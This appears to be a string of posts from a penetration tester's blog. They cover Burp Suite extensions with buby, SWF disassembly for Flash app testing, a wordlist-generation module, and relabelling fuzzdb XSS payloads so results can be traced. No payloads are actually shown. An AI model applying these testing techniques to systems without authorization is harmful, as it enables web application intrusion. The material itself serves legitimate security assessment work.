So, just a quick note. monstream00 has just released a buby script that takes nmap results and throws that into burp suite and then spiders those sites.
Check out his work over at his blog: http://monstream00.wordpress.com/2012/01/06/import-nmap-to-burp/
Good stuff and another example for anyone out there learning the ropes with buby.
Just recently I’ve tested a number of web applications that made heavy use of Adobe Flash. Considering I didn’t find a whole lot when I was searching I thought I’d document my current workflow.
To be honest I’ve never gone too deep into hacking up SWF files. So, after finding a few bugs in the non-flash areas I decided to invest a bit of time in disassembling and reassembling SWF files.
Most web app folk are at least aware of the flare and flasm tools, the go-to tools featured in the 1st Ed. of Web Application Hacker’s Handbook. These were the tools I knew existed and I attempted to apply them. Unfortunately in my situation these were near useless. Apparently flare and flasm are dead projects and have no roadmap for supporting ActionScript 3. A quick look over at the OWASP Flash Security Project got me in touch with RABCDasm. There are more than a couple disassemblers, but tools supporting reassembly appear limited. This suite did pretty much everything I needed.
I also like using HP’s SWFScan. Not really for the static analysis (your mileage will vary), but for the neatness and ease of a friendly AS3 format.
So, here it is:
Anyway, given this setup it’s not entirely difficult to at least test and attempt to attack things like client-side input validation and controls. That said, learning some ABC is in order as I’m just flapping my fledgling flash flippers.
Comments and suggestions welcome.
I’ve been following the progress of the Web Exploitation Framework (wXf) for a while. It’s a cool idea with a ton of potential.
Recently cktricky has been putting out some great tutorials on using buby to extend and interact with Burp through wXf. The posts illustrate some of the flexibility of buby and just how easy it can be to integrate with wXf. I wanted to give it a try and thought I’d put a new spin on an old idea.
So, I went about implementing a custom wordlist creation module that would utilize the response data from the proxy history to pull words out of h1-h5, p, span, and title tags.
There are tools that produce a similar result, however they usually require that the tool spider the site. Spidering is far from perfect and when I’m assessing a web application I make a point of clicking every link and discovering every page manually. Why not use the information I already have?
The user can specify a minimum word length and gets output sorted and uniqued. Find the latest module here.
There’s nothing too fancy here, but I it might be useful. Git pull the wXf, play with buby, write some modules and have fun!
Check out the buby posts over at Attack Research Blog.
This is a fairly trivial item, but I haven’t posted in a good long while so I thought I’d drop off 5 lines of JS and pretend it’s something.
Many of you have by now made use of Greasemonkey to add functionality or alter webpages on-the-fly. Since it’s release in 2005 Greasemonkey has been a friend to anyone wanting to control the way their user experience works. That said, I tend to forget all about it and have written only a handful of scripts.
My reasons:
So, nist.gov provides a handy CVSSv2 calculator available @ http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2. The calculator works fine (or at least as well as the scoring system 
and provides the user with a shortened form of the values used to calculate the score. A not so obvious fact is that it is possible to pass this shortened form to the calculator using the vector= parameter to dynamically load the values.
Read more…
Lately I’ve been performing a few web application assessments. I’m sure that like many of you, if you get time to work through an application, it’s probably not much. In order to make use of as much time as possible I’ve employed automation in areas where it makes sense, one such area being code injection and input validation testing.
Everyone knows I’m fond of using Burp Suite and I’ve been rocking it with the fuzzdb project as an additional step of my testing. After using this more than a few times I’ve noticed there are a few minor annoyances I’ve run into as well as a couple of areas that I think might possibly be improved, I’ll explain.
The first item is that when using the fuzzdb as-is with Burp we load the file and it’s imported with all the comments. Now we have to either go through and cleanup the payload list or send a wasted request containing “# credit to rsnake’ or the like each time we come to it. We have similar choices of writing ignore logic or not when scripting the file. Neither is a huge deal, but why? My feeling is to pull comments that are unnecessary. Credit is being given in the _readme.txt file and I think that’s probably where it should live, out and away from the data.
The second item is an issue that I see with the XSS payloads. There are currently 73 pattern lines in the rsnake-xss.txt file. Almost all of these result in the same payload being executed if the attack is successful. The majority of the time this results in an alert box containing the string ‘XSS’. 
Our attempts to inject these attack patterns may result in three alert boxes triggered for a given browser. It may be of some value to be able to communicate which ones bypassed filtering or encoding functionality and triggered the events, but now all we know is that of the 73 we have 3 in that pile that made it happen.
My solution to this was to tag every payload uniquely by scripting a replacement of all XSS values to a naming convention of rs1, rs2, etc. (rs as a tip of the hat to rsnake who contributed the list). Additionally there are external payloads that make multiple references to non-unique js/xml/css files and of course result in a smaller, but similar issue of the ‘XSS’ tag. Here I have created a unique js/xml/css file for each attack pattern and a payload inside of these files should indicate which pattern was referenced. These files are named rsx# to indicate rsnake external file execution.
examples:
That just nearly solved what I wanted to do, leaving only the encoded payloads. I’m toying with this as you can see with the String.fromCharCode() example, in which I’ve changed the XSS char codes to the char codes for the string ‘CharCode’, an indicator to me of what attack pattern might be triggering the alert box. Depending on how this works out, there may be more to come.
There are likely leeter ways to do what I’ve done, feel free to let me know. If you’d like to get a better idea of what I’ve done check it out @ http://www.l1pht.com/code/misc/fuzzdbnaked-0.2.tar.gz
I’m not sure just how maintained I’m going to try to keep my version or if I’ll just let it rot and copy over my rsnake-xss.txt each time I svn up fuzzdb, but we’ll see. I guess it depends on how much stripping I do 
